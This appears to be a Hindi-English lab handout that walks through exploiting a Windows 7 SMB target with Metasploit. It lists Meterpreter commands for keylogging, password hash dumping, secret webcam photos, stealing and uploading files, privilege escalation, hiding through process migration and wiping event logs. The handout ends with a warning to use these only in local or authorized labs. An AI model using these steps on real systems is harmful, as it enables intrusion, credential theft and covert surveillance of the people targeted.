LAB 10
Target systems ki vulnerabilities ko exploit karke unauthorized access lena.
Hacking start karne se pehle ye commands aapki "Cheat Sheet" hain.
| Command | Kyu Use Karein? (Action) |
|---|---|
| msfconsole | Framework ko start karne ke liye. |
| search [exploit_name] | Vulnerability dhundne ke liye (e.g., search smb). |
| use [path/to/module] | Select kiya hua exploit activate karna. |
| show options | RHOST, LHOST settings check karna. |
| set RHOSTS [Target_IP] | Target machine ka IP set karna. |
| set LHOST [Your_IP] | Apna machine (Attacker) ka IP set karna. |
| exploit / run | Attack ko execute karna. |
| sessions -l | Sare active hacked sessions ki list dekhna. |
| sessions -i [ID] | Kisi specific hacked session me enter karna. |
| background | Session se bahar aana (Bina use band kiye). |
| getuid | Check karna aap kaunse user ho (Meterpreter). |
| sysinfo | Target PC ka OS aur architecture check karna. |
| screenshot | Target PC ki screen ka live photo lena. |
| keyscan_start | Keylogger shuru karna (Sab record hoga). |
| keyscan_dump | Type kiye huye passwords dekhna. |
| hashdump | Database se passwords (hashes) nikalna. |
| shell | Target ka normal CMD prompt open karna. |
| upload [file_path] | Target PC par koi file/virus bhejna. |
| download [file_path] | Target PC se koi file churana. |
| ps | Target par chal rahe sare apps dekhna. |
| migrate [PID] | Hiding: Apne aap ko safe app me hide karna. |
| clearev | Apne footprints (logs) mita dena. |
| webcam_list | Target ke webcams ki list dekhna. |
| webcam_snap | Target ke camera se bina bataye photo lena. |
| getsystem | Normal user se Admin/System user banna. |
| pwd | Check karna aap target ke kaunse folder me ho. |
| ls | Target folder ki saari files dekhna. |
| search -f *.pdf | Target ke PC par PDF files dhundna. |
| reboot | Target PC ko restart kar dena. |
| exit | Session band karke bahar aana. |
Sabse pehle Nmap se service version pata karein. Agar target Windows 7 hai aur SMB port khula hai, toh ye vulnerable ho sakta hai.
Select karne ke baad parameters set karein. Hamesha dhyan rakhein ki LHOST aapka IP hai aur RHOST target ka.
Exploit command run karein. Agar everything is right, aapko meterpreter prompt mil jayega.
Ab aap screenshot ya keyscan_start chala kar data collect kar sakte hain.
Metasploit ek khatarnak weapon hai. Ise sirf apne local labs (VirtualBox) me ya authorized testing ke liye hi use karein. Dusro ke devices par chalana illegal hai.